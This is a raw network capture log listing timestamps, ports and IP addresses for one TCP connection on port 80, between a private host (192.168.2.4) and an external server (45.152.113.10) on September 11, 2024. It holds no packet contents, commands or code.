Sep 11, 2024 22:52:07.782193899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782215118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782229900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782254934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782260895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782278061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782293081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782315016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782322884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782335043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782356024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782371998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782388926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782406092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782419920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782428026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782450914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782469034 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782484055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782499075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782516003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782536030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782547951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782563925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782578945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782599926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782610893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782623053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782660007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782677889 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782692909 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782706976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782721996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782744884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782752991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782784939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782785892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782813072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782821894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782830000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782855034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782871962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782886982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782917976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782921076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.782942057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.782964945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866293907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866331100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866381884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866405964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866430044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866463900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866463900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866463900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866489887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866509914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866512060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866544962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866564035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866576910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866595030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866609097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866652966 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866656065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866674900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866688013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866703987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866719961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866724014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866751909 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866770029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866784096 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866801977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866816044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866830111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866847038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866866112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866883039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866910934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866914034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866930962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866945028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866976023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.866976023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.866996050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867007971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867022991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867039919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867058039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867082119 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867089033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867116928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867141008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867147923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867166042 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867197990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867198944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867229939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867247105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867260933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867268085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867290974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867309093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867325068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867337942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867372036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867372036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867423058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867430925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867477894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867477894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867510080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867532969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867541075 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867552996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867573023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867588997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867604971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867626905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867638111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867651939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867691994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867925882 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867958069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.867979050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.867990971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868004084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868026018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868037939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868074894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868076086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868123055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868128061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868155003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868174076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868202925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868206978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868233919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868252039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868264914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868287086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868297100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868311882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868328094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868350029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868360043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868375063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868391037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868407965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868422985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868429899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868454933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868472099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868489981 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868504047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868541956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868671894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868704081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868722916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868736029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868752003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868766069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868779898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868815899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868824005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868848085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868865967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868880033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868895054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868911028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868930101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868942022 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868953943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.868973017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.868987083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869004965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869023085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869035006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869048119 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869066000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869085073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869096994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869119883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869128942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869141102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869159937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869179010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869190931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869213104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869221926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869235039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869254112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869266033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869299889 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869302988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869353056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869354010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869384050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869402885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869425058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869436026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869467974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869484901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869499922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869519949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869530916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869544029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869561911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869580030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869607925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869610071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869642019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869658947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869673967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869692087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869707108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869714975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869739056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869755030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869771004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869786978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869801998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869826078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869834900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869851112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869867086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869885921 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869898081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869929075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869945049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869951963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.869993925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.869993925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870024920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870045900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870055914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870065928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870086908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870104074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870121002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870132923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870152950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870167971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870202065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870203972 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870233059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870249987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870279074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870280981 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870313883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870330095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870346069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870362997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870378017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870399952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870410919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870421886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870439053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870461941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870471001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870480061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870502949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870522022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870532990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870558023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870564938 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870578051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870595932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870614052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870629072 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870651007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870660067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870676994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870693922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870707989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870724916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870743990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870755911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870769024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870786905 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870809078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870819092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.870831966 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.870867968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.953924894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.953955889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954005957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954020023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954055071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954083920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954083920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954087019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954113007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954118967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954130888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954169989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954171896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954201937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954220057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954232931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954248905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954283953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954287052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954315901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954348087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954365015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954365015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954396963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954428911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954436064 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954436064 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954459906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954473019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954492092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954509974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954523087 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954546928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954570055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954591036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954626083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954649925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954658031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954668045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954689026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954715967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954720020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954734087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954747915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954775095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954792023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:07.954794884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:07.954849005 CEST	80	49733	45.152.113.10	192.168.2.4
